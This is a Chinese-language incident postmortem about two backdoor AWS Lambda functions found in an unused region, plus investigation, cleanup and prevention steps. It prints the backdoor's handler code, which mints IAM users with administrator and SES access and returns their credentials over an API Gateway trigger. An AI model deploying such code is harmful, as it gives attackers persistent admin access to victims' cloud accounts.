一個 HTTPS 請求,就領走一個新的管理員
沒用過的區域裡多了兩支函式,程式碼只做一件事:隨機建一個 IAM 使用者、掛上管理員與寄信全權限,把密碼與金鑰回傳。挖礦會被帳單抓到,後門不會。
- AWS Health 通知帳號內有 Lambda 使用即將停止支援的 Python 3.9。逐區列出後,只有 us-east-1 有兩支函式,而團隊從未在該區域部署過任何東西。
- 兩支函式的程式碼一模一樣:create_user → create_login_profile → create_access_key → attach AdministratorAccess / IAMFullAccess / AmazonSESFullAccess,回傳主控台登入 URL、密碼與金鑰。其中一支掛了 API Gateway 觸發。
- 用 CloudShell 把 CloudTrail 事件全量撈下來,依來源 IP 與事件名稱統計,把調查者自己的活動與異常來源分開。
一封講 Python 版本的信,掀開了帳號裡的兩支函式
2025 年 7 月,AWS 寄來一封標題平淡到不行的通知:帳號內有 Lambda 函式使用即將停止支援的 Python 3.9。信裡附了一條指令,用來逐區把這些函式列出來。照著跑完,團隊唯一使用的 ap-northeast-1 是空的,us-east-1 卻冒出兩支函式:s3s811 與 sesyu787。那個區域,我們從來沒有部署過任何東西。
兩支函式的程式碼一模一樣,去掉註解只剩一件事:隨機建一個 IAM 使用者,掛上三個受管政策,再把主控台登入 URL、密碼與存取金鑰打包回傳給呼叫者。其中 sesyu787 還掛著 API Gateway 觸發器——一個 HTTPS 請求,就領走一個管理員。這不是入侵留下的痕跡,是一台能自我補貨的自動販賣機:就算你把他建的使用者全部刪掉,他打一次 URL 就補回來。
四天之內,函式、執行角色與可疑使用者都清掉了,長期金鑰全部輪替,進行中的工作階段也撤銷,帳單上可證明的直接損失是零。但「他總共領走過幾組管理員」「SES 有沒有用我們的網域寄過信」,到今天都沒有答案。這篇要講的就是這個落差:挖礦劫持會被帳單抓到,後門不會——它的運轉成本趨近於零,只會安靜待在你不看的區域。
我們只用一個區域,帳號卻有三十幾個
團隊所有資源都在 ap-northeast-1,單一 AWS 帳號,日常靠主控台與 CloudShell 操作。主控台預設只顯示當前區域,所以沒有人有理由去切 us-east-1,也沒有人切過。
當時的防護只有 AWS 預設送的那幾樣:CloudTrail 第一份管理事件副本免費、事件歷史保留 90 天,以及會寄進信箱的 AWS Health 通知。沒有多區域 trail 送 S3、沒有 SCP 限制可用區域、沒有對 IAM 高風險事件設任何告警。這三件事都不用錢,三件都沒開。
這個案子和一般的金鑰外洩不同的地方在於:外洩的憑證不是被撿走的,是被「生出來」的。每執行一次函式,就多一組全新的管理員憑證,而且是以 API 回應的 JSON 直接送到呼叫者手上,不落地在任何檔案。下面這張表把這次牽涉到的每一種憑證攤開來看。
| 服務 | 憑證類型 | 用途 | 存在形式 | 放在哪 | 權限範圍 | 狀態 |
|---|---|---|---|---|---|---|
| AWS IAM 使用者(函式自動建立) | 存取金鑰(access key ID + secret access key) | 攻擊者用來以程式方式操作整個帳號 | 函式回傳的 JSON 欄位,明文 | API Gateway 端點的 HTTP 回應,不落地在任何檔案 | AdministratorAccess + IAMFullAccess + AmazonSESFullAccess | 2025-07 處置時一併停用並刪除;但無法確認總共生出過幾組 |
| AWS 主控台登入(同一個使用者) | login profile 密碼(20 碼隨機、不要求變更) | 讓攻擊者能直接登入主控台操作 | 函式回傳的 JSON 欄位,明文,附帶登入 URL | 同上,隨 HTTP 回應送出 | 與存取金鑰相同的管理員權限 | 隨使用者刪除而失效 |
| Amazon SES(寄信權限) | 不是獨立憑證:靠上面那組 IAM 身分取得寄信能力 | 用受害帳號已驗證的網域大量寄信,是這次最直接的變現路徑 | IAM 政策授權(AmazonSESFullAccess),必要時可再自行建立 SMTP 憑證 | 掛在函式產出的使用者身上 | 所有區域的 SES 寄信與身分管理 | 已隨使用者刪除;是否真的寄出過信屬缺口 |
| Lambda 執行角色 | AWS 角色(短期憑證,非長期金鑰) | 讓函式本身有權呼叫 IAM 建立使用者 | 執行環境自動注入的暫時憑證,不以檔案存在 | 函式的執行角色設定 | IAM 寫入權限,足以建立使用者與掛政策 | 刪除函式時一併刪除角色 |
| 最初被用來建立這兩支函式的憑證 | 長期存取金鑰或不經 MFA 換到的暫時憑證 | 攻擊者的初始存取;也是整案最該找出來的那一把 | 格式無法確認:留存的事件摘要缺少完整的 userIdentity 與驗證上下文 | 未知 | 足以建立 Lambda、角色與 API Gateway | gap:處置時已輪替所有長期金鑰並撤銷進行中的工作階段,但無法指認是哪一把 |
最後一列是整案的核心遺憾。前四列都清得掉,第五列到今天還是未知數——而只要它未知,你就不能說事件結束了。
四天之內:從一封通知到清場
發現的過程沒有任何技巧可言,就是照著 AWS 信裡附的指令,把每一個區域都列一次。
$ for region in $(aws ec2 describe-regions --query "Regions[].RegionName" --output text); do
echo "Region: $region"
aws lambda list-functions --region $region \
--query "Functions[?Runtime=='python3.9'].FunctionName" --output text
done
Region: ap-south-1
Region: eu-north-1
...
Region: ap-northeast-1 # ← 我們唯一使用的區域:空
...
Region: us-east-1
sesyu787 # ← 從沒在這個區域部署過任何東西看到那一行輸出之後的四天,排起來是這樣。
- 2025-07-14CloudTrail 留存事件的起算日,當天 2,771 筆事後全量撈取後依日期統計。
- 通知前兩天兩支函式 s3s811 與 sesyu787 的「上次修改時間」落在這一天Lambda 函式設定的 LastModified。
- 2025-07-15 → 07-16事件量升到 6,304 與 6,332 筆同上;其中大多數是調查者自己在 CloudShell 的操作。
- 2025-07-17收到 AWS Health 的 Python 3.9 停止支援通知,逐區列出函式,在 us-east-1 發現兩支不是團隊建立的函式AWS Health 通知信與 CloudShell 查詢輸出。
- 2025-07-17用 CloudShell 分頁撈下三天內全部 CloudTrail 事件,依來源 IP 與事件名稱統計lookup-events 全量撈取與 jq 統計。
- 2025-07-17 → 07-18斷觸發、刪函式與執行角色、清可疑 IAM 使用者、輪替長期金鑰並撤銷進行中的工作階段處置紀錄;四天合計 19,791 筆事件。
- 不明誰、用哪一把憑證建立了這兩支函式留存事件摘要缺 userIdentity 與驗證上下文。
- 不明API Gateway 被呼叫過幾次、SES 有沒有寄出信沒有 API Gateway 存取日誌,也沒有留存 SES 寄信統計。
時間軸最後兩列標的是「不明」,而且都在處置完成之後才列出來。這是本案的形狀:動作做完了,故事沒有結尾。
攻擊鏈上,只有中間三格說得出話
那兩支函式的程式碼是整案唯一完整保存下來的東西。去掉註解後長這樣:
def lambda_handler(event, context):
iam = boto3.client("iam")
user_name = f"user-{uuid.uuid4().hex[:8]}" # 隨機使用者名稱
password = "".join(random.choices(chars, k=20)) # 隨機密碼
iam.create_user(UserName=user_name)
iam.create_login_profile(UserName=user_name, Password=password, PasswordResetRequired=False)
access_key = iam.create_access_key(UserName=user_name)
iam.attach_user_policy(UserName=user_name, PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess")
iam.attach_user_policy(UserName=user_name, PolicyArn="arn:aws:iam::aws:policy/IAMFullAccess")
iam.attach_user_policy(UserName=user_name, PolicyArn="arn:aws:iam::aws:policy/AmazonSESFullAccess")
return {"IAMLoginURL": f"https://{account_id}.signin.aws.amazon.com/console",
"Username": user_name, "Password": password,
"AccessKeyId": ..., "SecretAccessKey": ...}
三個受管政策裡,AdministratorAccess 是保險、IAMFullAccess 讓他能再幫自己開下一個,而 AmazonSESFullAccess 才說明了他的生意:用你已經驗證過的網域大量寄信。函式名稱裡的 ses 不是巧合。
把這段程式碼攤在 MITRE ATT&CK 上,只有 Execution、Persistence、Privilege Escalation 三格有實物可以對照;頭尾四格都沒有留下證據,只能標問號。
第 01 格與第 07 格是同一件事的兩端:他怎麼進來、他賺到什麼。兩端都是問號,中間看得再清楚也只是半個故事。
能證明的、只能推論的、永遠答不出來的
先看能證明的。函式存在、程式碼內容、執行角色的權限,這三件事都有實體可以核對。
再來是事件記錄。主控台的事件歷史一次只給 50 筆,要看全貌得自己翻頁,所以第一件事是把三天份全部撈下來。
start_time=$(date -u -d '3 days ago' +%Y-%m-%dT%H:%M:%SZ)
end_time=$(date -u +%Y-%m-%dT%H:%M:%SZ)
next_token=""
while true; do
if [ -z "$next_token" ]; then
result=$(aws cloudtrail lookup-events --start-time "$start_time" --end-time "$end_time" --max-results 50 --output json)
else
result=$(aws cloudtrail lookup-events --start-time "$start_time" --end-time "$end_time" --max-results 50 --next-token "$next_token" --output json)
fi
echo "$result" | jq -c '.Events[]' >> tmp_events.json
next_token=$(echo "$result" | jq -r '.NextToken // empty')
[ -z "$next_token" ] && break
done
jq -s '{Events: .}' tmp_events.json > all_events_full.json撈下來之後只問三個問題:哪一天異常、哪些 IP、某個 IP 做了什麼。三段 jq 就夠。
# 每天筆數:看有沒有異常暴增的日子
jq -r '.Events[] | .CloudTrailEvent | fromjson | .eventTime | split("T")[0]' all_events_full.json | sort | uniq -c
2771 2025-07-14
6304 2025-07-15
6332 2025-07-16
4384 2025-07-17
# 來源 IP 分布:先把自己的 IP 認出來,剩下的就是要追的
jq -r '.Events[] | .CloudTrailEvent | fromjson | .sourceIPAddress' all_events_full.json | sort | uniq -c | sort -nr
# 針對某個 IP 展開:時間、身分、事件、資源
jq -r '.Events[] | .CloudTrailEvent | fromjson
| select(.sourceIPAddress == "X.X.X.X")
| {time: .eventTime, user: .userIdentity.arn, event: .eventName, resource: .resources}' all_events_full.json
# 只看 Root 身分做過的事
jq -c '.Events[] | .CloudTrailEvent | fromjson | select(.userIdentity.type == "Root")
| {eventTime, eventName, sourceIPAddress}' all_events_full.json接下來兩件只能推論,而且兩件都跟「他是怎麼進來的」有關。
這裡要澄清一個很常見的誤會:MFA 是門口檢查,工作階段像通行證。使用者完成一次驗證後,系統可能核發暫時憑證,後續 API 請求依憑證與授權政策判定,不會每個操作都再要求驗證碼;長期存取金鑰更是完全不經 MFA。所以「我們有開 MFA」保護的是互動登入,不是每一條 API 存取路徑——這也是上面那條推論為什麼成立。
最後是三件沒有答案的事。它們不是漏查,是當時根本沒有那個日誌。
五件能證明的都關於「現場有什麼」,五件不能證明的都關於「他做了什麼」。這個比例本身就是結論:我們保住了證物,沒保住紀錄。
往下追四層,最後停在三個沒開的免費開關
表面上的原因,一句話就說得完:us-east-1 有兩支會自建管理員的 Lambda 函式,其中一支掛著公開的 API Gateway 觸發器。這是主控台上看得到、程式碼可以核對的事實。
往下一層是技術。函式的執行角色被授予了 IAM 寫入權限,足以建立使用者、掛政策、核發金鑰;而建立這整組東西的初始憑證,走的是一條不經 MFA 的 API 路徑。前半段有函式設定可以證明,後半段只有當時的調查判斷。
再往上追到管理,問題變成一句更難聽的話:沒用過的地方,也就沒有人看。團隊只用 ap-northeast-1,主控台預設只顯示當前區域,從來沒有人盤點過其餘三十幾個區域。這一層只能推論,因為它不是某個人做錯了什麼,而是沒有人被指派去做什麼。
最後一層是制度,同樣只能推論:沒有 SCP 限制可用區域、沒有多區域 CloudTrail 送 S3、沒有對 IAM 高風險事件設告警。三個控制都不用錢。前兩個決定了他能把東西放在哪裡,第三個決定了事後你還查不查得到——而我們今天之所以只剩摘要,答案就在這一層。
訊號不是沒有,是它永遠不會出現在帳單上
回頭看,可以更早攔下這件事的機會至少有五個,而且沒有一個需要買新工具。
最根本的是沒有人盤點陌生區域。主控台預設只顯示當前區域,要主動切過去才看得到,所以 us-east-1 多了兩支函式這件事,在系統裡完全無聲。其次是三個 IAM 事件沒有告警:CreateUser、AttachUserPolicy、CreateAccessKey 連在一起出現,意思就是「有人在幫自己開管理員」,當時沒有任何一條規則在看它們。
另外兩個缺口是事後才會痛的。API Gateway 沒有開存取日誌,所以那扇免憑證的門被敲過幾次,是整案最該知道、卻永遠答不出來的數字;CloudTrail 只有預設的 90 天事件歷史、沒有送 S3,四天之後留下的只剩摘要,userIdentity 與 userAgent 全被省略,「誰建的」就此成為死問題。
第五個訊號最值得記,因為它是反的:帳單完全正常。Lambda 與 API Gateway 的用量費幾乎為零,IAM 根本不計費。你可以靠帳單抓到挖礦,但抓不到後門。真正替我們示警的,是一封講 Python 版本的例行通知——這次是運氣好,不是防禦好。
那兩天我們實際做了什麼:先斷觸發,再刪東西
7 月 17 日那天的偵測動作,就是照著通知信逐區列出 Lambda,然後用 CloudShell 把三天內的事件全量撈下來,依日期、來源 IP 與事件名稱統計,先把自己在 CloudShell 的活動排掉,剩下的才是要追的。
接著是止血,而且順序是這次做對的關鍵:先移除 API Gateway 與 Lambda 的觸發關係,再刪東西。如果顛倒過來,先刪使用者、後斷觸發,等於把他建的東西清掉又讓他能立刻補回來。切斷入口之後,先下載函式程式碼與設定當證據,才刪函式與它的執行角色。
清除花了兩天。列出所有 IAM 使用者,挑出名稱符合 user-[8 碼 hex] 或建立時間說不清楚的,先停用金鑰與登入設定再刪除;輪替所有長期存取金鑰;對角色加上 aws:TokenIssueTime 拒絕條件,讓指定時間之前核發的 token 全部失效;最後確認 Root 已開 MFA、且不持有任何存取金鑰。
這裡有一個很多人會踩的坑:已核發的暫時憑證有自己的生命週期。改了主控台密碼、開了 MFA,不會讓已經拿到的存取金鑰或工作階段失效。要依憑證類型採用對應的撤銷方式——長期金鑰直接停用並刪除,角色的工作階段靠信任政策或內嵌拒絕政策讓舊 token 作廢——再重新檢查信任政策、長期金鑰與異常資源,才知道處置有沒有涵蓋整條存取路徑。
7 月 18 日收尾時做的是復原與複查:檢查所有區域的 SES 寄信統計、已驗證身分與抑制清單,再逐區列出 Lambda、EC2、IAM 角色、API Gateway 與 EventBridge 規則,確認沒有第二個入口。攻擊者常在你不看的區域放東西,而「不看的區域」不會只有一個。
存證做對了,留證據的基礎建設沒做
這次做得最好的一件事,是刪函式前先把程式碼與設定下載下來。這篇每一段關於函式行為的說明都靠它——沒有那份備份,整個案子就只剩「有兩支不明函式」一句話。處置順序也對:先斷觸發再刪函式,沒有給他補貨的機會。調查時先用 IP 與 userAgent 把自己在 CloudShell 的活動排掉,也省下追一整天假線索的時間。還有一件容易被忽略的:AWS Health 通知寄到了一個有人會看的信箱。本案唯一的偵測訊號就是那封信。
可惜的部分,全部集中在同一個主題——我們保住了證物,沒保住紀錄。當時沒有多區域 CloudTrail 送 S3,四天之後只剩摘要,userIdentity 與 userAgent 都被省略;兩個被標記為異常的來源 IP,留存的事件檔是空的,無法與 CreateFunction 對上;API Gateway 沒有開存取日誌,後門被呼叫過幾次到今天答不出來;處置當下也沒有匯出各區域 SES 的寄信統計與投訴率,於是「有沒有寄出信」也跟著沉底。
把這兩段放在一起看,結論很清楚:做得好的都是當下的臨場反應,做不好的都是事前該有的基礎建設。臨場反應救得了這一次,基礎建設才決定你事後能不能說出完整的故事。
之後我們改了什麼
當天就做完的是止血四件事:移除 API Gateway 與 Lambda 的觸發關係,刪函式與執行角色(刪前先下載程式碼與設定存證);停用並刪除名稱像 user-[8 碼 hex]、或建立時間說不出來的 IAM 使用者;輪替所有長期存取金鑰,並用 aws:TokenIssueTime 拒絕條件撤銷進行中的工作階段;最後逐區列出 Lambda、API Gateway、EC2、IAM 角色與 EventBridge 規則。
接下來幾週補的是那三個沒開的免費開關。CloudTrail 改成多區域 trail,送 S3 與 CloudWatch,保留期拉長超過 90 天;對 CreateUser、CreateLoginProfile、AttachUserPolicy(含 AdministratorAccess)、CreateAccessKey、CreateFunction 五個事件設即時告警;不用 SES 的區域保持沙箱,並逐區檢查已驗證身分與抑制清單;Root 帳號開 MFA、不持有存取金鑰、不用於日常操作。
這一季之後的目標,是讓「你不看的地方」不再存在:用 SCP 或 IAM 條件限制可用區域,不用的區域一律拒絕;用 AWS Config 聚合所有區域的資源清單,把跨區盤點變成排程,而不是靠一封通知信;人員改用 SSO 與短期憑證,淘汰長期存取金鑰;並把 AWS Health 與帳單通知指派給固定的人看,同時定義收到之後要做什麼。
下面這張表把這一整件事的錢算清楚。最重要的不是總額,是「免費」那幾列——一台隨時生管理員的自動販賣機,運轉成本趨近於零,所以帳單永遠不會替你示警。
| 項目 | 用量 | 單價 | 期間 | US$ | NT$ | 舉證 |
|---|---|---|---|---|---|---|
| Lambda 後門函式 × 2 估:函式存在可證明,次數是假設值 | 128 MB × 約 3 秒/次;呼叫次數未知,以 1,000 次估 | US$0.20/百萬次 + US$0.0000166667/GB·秒 | 2025-07-14 → 07-18 | 0.01 | 0 | 函式程式碼與設定已下載存證;呼叫次數缺 CloudTrail 與 Lambda 指標,只能假設 |
| API Gateway REST 端點(觸發器) 估:就算被打滿一百萬次也只要 US$3.50。後門的運轉成本低到不可能引起帳單注意 | 以 1,000 次請求估 | US$3.50/百萬次 | 同上 | 0.00 | 0 | 觸發器設定可證明(Lambda 觸發器清單);請求數無存取日誌,無法得知 |
| IAM 使用者、登入設定、存取金鑰 免費才是重點:這台自動販賣機永遠不會出現在任何一張帳單上 | 每執行一次產生 1 組具 AdministratorAccess 的憑證 | IAM 不計費 | 2025-07 | 0.00 | 0 | AWS 公開牌價:IAM 本身不收費;函式程式碼可證明它建立使用者與金鑰 |
| CloudTrail 管理事件(第一份副本) 免費卻沒設多區域 trail,所以事後只剩摘要 | 帳號預設 90 天事件歷史 | 第一份管理事件副本免費 | 持續 | 0.00 | 0 | AWS 公開牌價:管理事件第一份副本不計費 |
| 多區域 trail 送 S3(當初若有開) 估:這 0.28 美元,就是「誰建的、用哪把憑證」這題答不出來的價格 | 約 1 GB/月的事件檔 | US$0.023/GB·月(S3 Standard) | 一年 | 0.28 | 9 | 以本案 4 天約 19,791 筆事件的量級外推;當時未開啟,因此沒有帳單 |
| SES 濫用的情境估算 估:假設值。寄 100 萬封只要 US$100,被列進黑名單的卻是你的網域 | 以寄出 100 萬封估 | US$0.10/1,000 封 | 假設情境 | 100.00 | 3,200 | AmazonSESFullAccess 確實掛在函式產出的使用者上(程式碼可證明);寄信量為假設 |
| SES 實際寄出量與網域信譽損失 真正可能的大額損失,落在這一列 | — | — | — | — | — | 缺口:留存資料沒有 SES 寄信統計與退信/投訴率,事後無法回答有沒有寄出 |
| API Gateway 被呼叫幾次、生出過幾個管理員 後門的實際使用次數是整案最大的黑洞 | — | — | — | — | — | 缺口:留存事件檔省略 userIdentity 與 userAgent,兩個來源 IP 的事件檔為空 |
| 調查用的查詢 本案唯一有效的偵測手段,成本是零 | 逐區 list-functions、CloudTrail 分頁全量撈取 | CloudShell 免費(含 1 GB 儲存);lookup-events 不計費 | 2025-07-17 | 0.00 | 0 | AWS 公開牌價:CloudShell 與 CloudTrail 事件歷史查詢不計費 |
| 調查與處置人力 估:這件事幾乎全部的成本都在這一列 | 約 2 人日:逐區盤點、全量撈取與比對、刪函式與使用者、輪替金鑰 | 顧問日費 NT$20,000~35,000(估),取中間值 NT$27,500 | 2025-07-15 → 07-18 | 1718.75 | 55,000 | 處置時間軸推估,無正式工時單;日費為假設值 |
| 攻擊者的運轉成本 估:邊際成本是零,所以他不需要挑目標,也不急著用 | 2 支函式+1 個 API 端點,全部跑在你的帳號上 | 由受害者支付 | 長期 | 0.00 | 0 | 函式與觸發器設定可證明資源都在我方帳號;他自身支出無從得知 |
| 攻擊者實際變現了多少 不知道他領走幾組管理員,就不知道他賺了什麼 | — | — | — | — | — | 缺口:沒有 API Gateway 存取日誌、沒有完整 CloudTrail、沒有 SES 統計 |
| 合計(僅可證明列) | 0.00 | 0 | ||||
可證明的金額是 US$0.00,但那不是因為沒有損失,而是因為這個後門的運轉成本本來就接近零。可能的損失全部落在那三列缺口裡——而缺口不是零,只是沒有人能替它開發票。
帶得走的八件事
換到攻擊者那邊看,這是一門幾乎沒有下檔風險的生意:兩支函式和一個 API 端點全跑在你的帳號上,電費你付、日誌你沒開、IAM 還不計費。他不需要挑目標,也不急著用——只要你不去看那個區域,這台販賣機可以擺上好幾年。
- 01你從沒用過的區域裡,不該有任何資源。逐區盤點成本是零,而它是本案唯一有效的偵測。
- 02後門不會出現在帳單上。Lambda 與 API Gateway 幾乎免費,IAM 完全免費——帳單永遠不會替你示警。
- 03AdministratorAccess 是保險,AmazonSESFullAccess 才是生意。被拿走的是你的網域寄信信譽,被封的也是你。
- 04API Gateway 觸發讓攻擊者不必保存任何憑證。所以處置順序是先斷觸發,再清使用者。
- 05改密碼、開 MFA 不會讓已核發的工作階段失效。要讓 token 全部作廢,靠的是 aws:TokenIssueTime 這個條件。
- 06多區域 trail 送 S3 一年不到一美元。省下這 0.28 美元的代價,是「誰建的」永遠答不出來。
- 07CreateSession、PutCredentials 多半是 CloudShell 自己在跑。不先把自己排除,你會追一整天的假線索。
- 08這次是運氣好,不是防禦好:救了我們的,是一封講 Python 版本的例行通知。
如果只想記住十個詞,就記下面這十個;順序照「讀完最該帶走」排,不是照它們在文章裡出現的先後。
- 01逐區盤點(list-functions across regions)本案唯一有效的偵測,成本是零;你沒用過的區域裡不該有任何東西。
- 02API Gateway 觸發的 Lambda它讓攻擊者不必保存任何憑證:你清光所有使用者,他打一次 URL 就補回來。
- 03AmazonSESFullAccessAdministratorAccess 是保險,SES 才是生意;寄信信譽是最常被忽略、也最難修的資產。
- 04AttachUserPolicy / CreateUser / CreateAccessKey這三個事件是「有人在幫自己開管理員」的直接訊號,也是最該設即時告警的三個。
- 05aws:TokenIssueTime改密碼、開 MFA 都不會讓已核發的工作階段失效;要讓 token 全部作廢,靠的是這個條件。
- 06Lambda 執行角色函式能呼叫 IAM,是因為有人給了它 IAM 寫入權限;函式的權限往往比建立者以為的大。
- 07多區域 CloudTrail trail 與保留期事後答不出「誰建的」,就是因為只有 90 天事件歷史、沒有送 S3;補上它比你想的便宜太多。
- 08lookup-events 分頁全量撈取主控台一次只給 50 筆,不把全量撈下來就不可能看出來源 IP 分布與異常日。
- 09先排除自己的活動CreateSession、PutCredentials 多半是 CloudShell 自己在跑;不先把自己排掉,你會追一整天的假線索。
- 10SCP 區域限制把沒用到的區域整個關掉,是唯一能讓「你不看的地方」不再存在的控制。
如果重來一次,前六十分鐘該怎麼排
本案最大的遺憾不是處置慢,是證據沒留夠。同樣那封信今天再寄一次,第一個小時我會這樣用。
前十五分鐘一律先存證再動手:下載函式程式碼與設定、截圖觸發器清單、匯出執行角色的政策;趁 90 天視窗還在,用 lookup-events 分頁把全量事件撈下來存檔;然後匯出各區域 SES 的寄信統計、已驗證身分與投訴率——本案就是漏了最後這一步,才留下那個答不出來的問題。
第二個十五分鐘才動手止血:移除 API Gateway 與 Lambda 的觸發關係,先切掉免憑證的入口;可疑的 IAM 使用者只停用金鑰與登入設定,不要直接刪,因為帳號名稱與建立時間本身就是證據。
剩下的半小時處理存取路徑與複查:輪替所有長期存取金鑰,對角色加 aws:TokenIssueTime 拒絕條件撤銷進行中的工作階段;回頭查 CreateFunction 事件的 userIdentity 與 accessKeyId,把那把初始憑證指認出來;最後逐區盤點 Lambda、API Gateway、EC2、IAM 角色與 EventBridge 規則,確認沒有第二個入口。一小時之後才輪到慢工:刪函式、刪角色、刪使用者完成清除,開多區域 CloudTrail 送 S3、設五個 IAM 高風險事件告警(這組規則我們統稱 alarm-iam-selfserve-b3x,翻告警一眼就對得上這篇)、用 SCP 關掉不用的區域,並把 AWS Health 與帳單通知指派給固定的人看。
回到那封講 Python 版本的信。它其實跟資安一點關係都沒有,是我們照著它附的指令多跑了一次別的區域,才撞見那兩支函式。所以真正該問自己的不是「我有沒有被入侵」,而是「如果那個區域現在就有東西,我要多久才會知道」。這個問題今天就能回答,下面六步全部唯讀,十五分鐘內做得完。
全部唯讀,不改任何設定;做完你會知道自己有沒有同樣的破口。
- 逐區列出所有 Lambda 函式,不只看你常用的那一區。
for r in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do echo "== $r"; aws lambda list-functions --region $r --query 'Functions[].FunctionName' --output text; done看到什麼代表什麼:任何你沒部署過的區域出現函式,先當可疑處理:下載程式碼與設定存證,再看它的執行角色有什麼權限。 - 同樣逐區列 API Gateway,找免憑證的觸發入口。
for r in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do echo "== $r"; aws apigateway get-rest-apis --region $r --query 'items[].name' --output text; done看到什麼代表什麼:你叫不出名字的 REST API,就是攻擊者不必保存憑證也能回來的那扇門。 - 列出 IAM 使用者與建立時間,再看誰掛著最高權限。
aws iam list-users --query 'Users[].[UserName,CreateDate]' --output table aws iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --query 'PolicyUsers[].UserName' --output text看到什麼代表什麼:名稱像隨機字串、或建立時間你完全沒印象的使用者,就是自動販賣機的產物;管理員清單裡出現非人類帳號更要追。 - 檢查 CloudTrail 是不是多區域,而且有送到 S3。
aws cloudtrail describe-trails --query 'trailList[].[Name,IsMultiRegionTrail,S3BucketName,HomeRegion]' --output table看到什麼代表什麼:沒有多區域 trail 或沒有 S3 儲存桶,代表 90 天之後你就答不出「誰建的」——本案的所有缺口都來自這裡。 - 看你不使用的區域裡,SES 是不是還在沙箱。
aws sesv2 get-account --region us-east-1 --query '[ProductionAccessEnabled,SendingEnabled,EnforcementStatus]' --output text看到什麼代表什麼:你根本不用 SES 卻已經是生產存取狀態,就要當成寄信管道被人打開過;再去看寄信統計與投訴率。 - 查最近的高風險 IAM 事件。
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser --max-results 10 --query 'Events[].[EventTime,Username,EventName]' --output table看到什麼代表什麼:出現你不認得的 CreateUser,接著去查同一時間的 AttachUserPolicy 與 CreateAccessKey;三個事件連在一起,就是有人在幫自己開管理員。
後續(2026-10-15)
上面寫的「可疑使用者都清掉了」,事後證明只清了一半。2026 年 10 月 15 日,我們為了確認一把在部署平台外洩範圍內的 AWS 金鑰有沒有被用過,順手對這個帳號做了一次持久化巡檢:後門函式確實已經不在,但它在 2025-07-16 建立的 user- 加 8 碼 hex 使用者還在,管理員與 IAM 全權限當年拿掉了、金鑰也停用了,卻一直掛著 AmazonSESFullAccess,而且從來沒被刪除。這個使用者已於當天刪除。經過與教訓寫在〈後門 Lambda 刪了 15 個月,它生出來的使用者還在〉。
每篇新文章一封:三點摘要、關鍵字定義、今天能做的一件事。
延伸閱讀
後門 Lambda 刪了 15 個月,它生出來的使用者還在
為了確認一把外洩的 AWS 金鑰有沒有被用過,我們順手做了一次持久化巡檢。資料沒被碰,卻在 IAM 裡撞見 2025 年那台自動販賣機留下的使用者:權限拿掉了一半、金鑰停了,但人從來沒刪。
列為「風險最高」的那把金鑰,我們決定晚點再撤
上一次鑑識就點名它,但它擁有一萬多個檔案、七個以上的線上服務靠它活著,所以排在「先搬消費者再停用」。一個月後,它在五個小時內替別人跑了 6,350 萬 input token,整個專案被 Google 停權。
教學版:四道防線只要做到一道,這 15 天就不會發生
同一起事件的教學版:15 天逐分鐘攤開,每一步標出為什麼會成功、哪一道控制擋得下來。不發金鑰、不給 Owner、關掉沒用的 API、預算警示,四道都沒有。